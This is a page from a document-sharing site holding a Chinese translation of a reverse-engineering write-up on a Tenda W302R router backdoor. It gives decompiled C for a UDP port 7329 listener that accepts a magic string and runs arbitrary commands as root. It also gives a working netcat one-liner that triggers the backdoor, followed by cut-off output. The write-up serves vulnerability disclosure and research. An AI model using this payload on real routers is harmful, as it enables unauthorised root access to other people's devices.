腾达Tenda路由器后门剖析.docxVIP

  1. 1、本文档共7页,可阅读全部内容。
  2. 2、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
  3. 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  4. 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
  5. 5、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
  6. 6、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们
  7. 7、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
  8. 8、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
腾达Tenda路由器后门剖析

一直有人认为D-Link是唯一的将在其产品中放置后门供应商,其实这里还有一个供应商也同样在产品中放置了后门,并且可以利用单个UDP数据包就搞定。她——就是腾达。 腾达W302R无线路由器的最新固件解压后,我开始寻找基于GoAheadWeb服务器指向的/bin/httpd,腾达做了很多特殊的修改: 进入HTTP接收回路前,调用产生MfgThread的功能作为一个单独的线程的线程主函数InitMfgTask。 Hmmm…InitMfgTask 和 MfgThread? 也许可能是manufacturing tasks(mfg有可能是MANUFACTURING的缩写,方便他们在研发过程中发生各种不能访问路由器管理功能时留下的维修接口,估计正式产品上市的时候忘记去掉了) 首先MfgThread(Mfg进程)创建UDP socket且绑定在7329端口上 然后线程进入一个recvfrom循环,从插座上阅读最多128字节。预计每一个接收到的UDP数据包,至少有14个字节的长度: 现在最有意思的部分,接收到的UDP数据包,然后解析这个代码块: 转C代码表示 memset(rx_magic_string, 0, 0x80); memset(command_byte, 0, 0x80); memset(command_arg, 0, 0x80); memcpy(rx_magic_string, rx_buf, 9); command_byte[0] = rx_buf[11]; memcpy(command_arg, rx_buf+12, rx_size-12); // If magic string doesnt match, stop processing this packet and wait for another packet if(strcmp(rx_magic_string, w302r_mfg) != 0) goto outer_receive_loop; 我们可以看到,该线程被认为一个以下的数据结构包: struct command_packet_t { char magic[10]; // 9 byte magic string (w302r_mfg), plus a NULL terminating byte char command_byte; char command_arg[117]; }; 只要接收到的数据包开始字符串“w302r_mfg”,代码然后比较三个ASCII字符指定的命令字节对(’1′,’X,’E): 为了方便,我已经转换剩余反汇编(至少重要位)后的C代码: switch(command_byte) { case e: strcpy(tx_buf, w302r_mfg); tx_size = 9; break; case 1: if(strstr(command_arg, iwpriv) != NULL) tx_size = call_shell(command_arg, tx_buf, 0x800); else strcpy(tx_buf, 000000); tx_size = strlen(tx_buf); break; case x: tx_size = call_shell(command_arg, tx_buf, 0x800); break; default: goto outer_receive_loop; } sendto(client_socket, tx_buf, tx_size, client_sock_addr, 16); goto outer_receive_loop; 以下操作对应的三个接受的命令字节: E-响应与预先定义的字符串,通常是ping测试 1 - 蓄意让用户运行iwpriv命令 X-允许你用root权限运行任何命令 如果被指定为’X的命令字节命令字节后的数据包(称为在上述代码command_arg),其余的被传递到call_shell通过POPEN,执行命令: 更重要的是,call_shell填充tx_buf的命令,我们可以看到,从以前的C代码,发送回客户端的输出缓冲区! 了解了MfgThread和其预期的数据包结构的功能,我们可以很容易用NC来执行这个后门: $ echo -ne w302r_mfg\x00x/bin/ls | nc -u -q 5 7329 drwxr-xr-x 2 0 0 1363 webroot drwxr-xr-x 1 0 0 0 var drwxr-xr-x 5 0 0 43 usr drwxr-xr-x 1 0 0 0 tmp drwxr-xr-x 2 0 0 3 sys drwxr-xr-x 2 0 0 569 sbin dr-xr-

文档评论(0)

jdy261842 + 关注
实名认证
文档贡献者

分享好文档!

1亿VIP精品文档

相关文档